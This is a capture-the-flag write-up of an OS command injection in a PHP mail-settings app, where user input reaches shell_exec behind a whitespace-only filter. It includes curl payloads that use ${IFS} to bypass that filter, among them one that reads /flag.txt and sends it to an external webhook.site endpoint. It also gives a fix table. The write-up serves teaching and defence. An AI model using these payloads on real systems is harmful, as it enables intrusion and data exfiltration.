Summary
The "Void Whispers" mail-settings panel passes the user-supplied sendMailPath field directly into shell_exec("which $sendMailPath") with no escaping. The app only filters literal whitespace, which is trivially bypassed using bash's ${IFS} variable to separate injected commands without using a space character. This allows arbitrary command execution on the server, confirmed via timing delays and an out-of-band webhook callback, and ultimately used to read and exfiltrate /flag.txt.
1. Recon
The challenge presented a Halloween-themed "Void Whispers" mail-settings panel - a small PHP app for configuring the "from name," "from email," "sendmail path," and "mail program" used to send support notifications.
The page rendered a form with four fields and a Save button that posts to /update:
From Name: Ghostly Support
From Email: support@void-whispers.htb
Sendmail PATH: /usr/sbin/sendmail
Mail Program: sendmail
2. Source review
A downloadable build archive provided the full server source. Routing goes through a minimal custom router (Router.php) into IndexController.php, which handles both GET / (renders the form) and POST /update (saves settings):
public function updateSetting($router)
{
$from = $_POST['from'];
$mailProgram = $_POST['mailProgram'];
$sendMailPath = $_POST['sendMailPath'];
$email = $_POST['email'];
if (empty($from) || empty($mailProgram) || empty($sendMailPath) || empty($email)) {
return $router->jsonify(['message' => 'All fields required!', 'status' => 'danger'], 400);
}
if (preg_match('/\s/', $sendMailPath)) {
return $router->jsonify(['message' => 'Sendmail path should not contain spaces!', 'status' => 'danger'], 400);
}
$whichOutput = shell_exec("which $sendMailPath");
if (empty($whichOutput)) {
return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
}
...
}
Two things stand out immediately:
-
sendMailPathis passed straight intoshell_exec("which $sendMailPath")with no escaping (escapeshellarg/escapeshellcmdare never called). - The only validation is a regex that blocks literal whitespace characters (
\s). It does not block shell metacharacters like;,|,`,$(), or&&- and critically, bash's${IFS}variable expands to whitespace at execution time, so it's a ready-made bypass for a "no spaces" filter.
This is a textbook OS command injection: attacker-controlled input reaches a shell with no sanitization beyond a trivially bypassable space check.
3. Exploitation
Step 1 - Confirm the space-filter bypass with a time delay
${IFS} (Internal Field Separator) is treated as a space by the shell but contains no literal space character, so it sails past preg_match('/\s/', ...). Chaining a second command with ; after the legitimate sendmail binary confirms execution:
curl -o /dev/null \
-X POST http://<target-ip>:<port>/update \
-d "from=Ghostly Support" \
-d "email=test@test.com" \
-d "mailProgram=sendmail" \
--data-urlencode 'sendMailPath=sendmail;sleep${IFS}5'
The request took ~5 seconds to complete. Repeating with sleep${IFS}10 took ~10 seconds - confirming arbitrary command execution, with response time as the oracle.
Step 2 - Out-of-band confirmation
To move past blind timing and get real command output, a webhook.site endpoint was used as an OOB (out-of-band) callback:
curl -o /dev/null \
-X POST http://<target-ip>:<port>/update \
-d "from=Ghostly Support" \
-d "email=test@test.com" \
-d "mailProgram=sendmail" \
--data-urlencode 'sendMailPath=sendmail;curl${IFS}https://webhook.site/<webhook-id>'
The webhook.site inbox logged an inbound GET request from the target server's IP moments later, confirming full outbound command execution capability from the box.
Step 3 - Exfiltrate the flag
With confirmed command execution and outbound connectivity, the flag was read and exfiltrated via command substitution appended as a query parameter:
curl -o /dev/null \
-X POST http://<target-ip>:<port>/update \
-d "from=Ghostly Support" \
-d "email=test@test.com" \
-d "mailProgram=sendmail" \
--data-urlencode 'sendMailPath=sendmail;curl${IFS}https://webhook.site/<webhook-id>?x=$(cat${IFS}/flag.txt)'
The webhook.site inbox received a new request with the flag contents in the x query parameter.
4. Result
The captured request on webhook.site showed:
GET /<webhook-id>?x=HTB{REDACTED}
Flag: HTB{REDACTED}
5. Root Cause & Fix
| Issue | Why it matters | Fix |
|---|---|---|
User input passed directly into shell_exec()
|
Any shell metacharacter in the input executes as part of the command | Never build shell commands from user input; if a shell call is unavoidable, use escapeshellarg() on every argument |
Filter only blocks literal whitespace (\s) |
${IFS}, tabs, and other whitespace-equivalent shell constructs bypass a naive space check |
Use an allowlist of expected binary paths instead of blocklisting characters |
which $sendMailPath used to "validate" a path that is later stored and reused |
Validation logic itself is the injection point | Validate against a fixed, known-safe list of binaries rather than shelling out to check existence |
The takeaway: blocklisting specific characters (or here, just whitespace) is fragile - shells have many equivalent ways to express the same thing (${IFS}, $IFS$9, tabs, newlines). Any code path that concatenates user input into a shell command needs proper argument escaping or, better, no shell at all.
Top comments (0)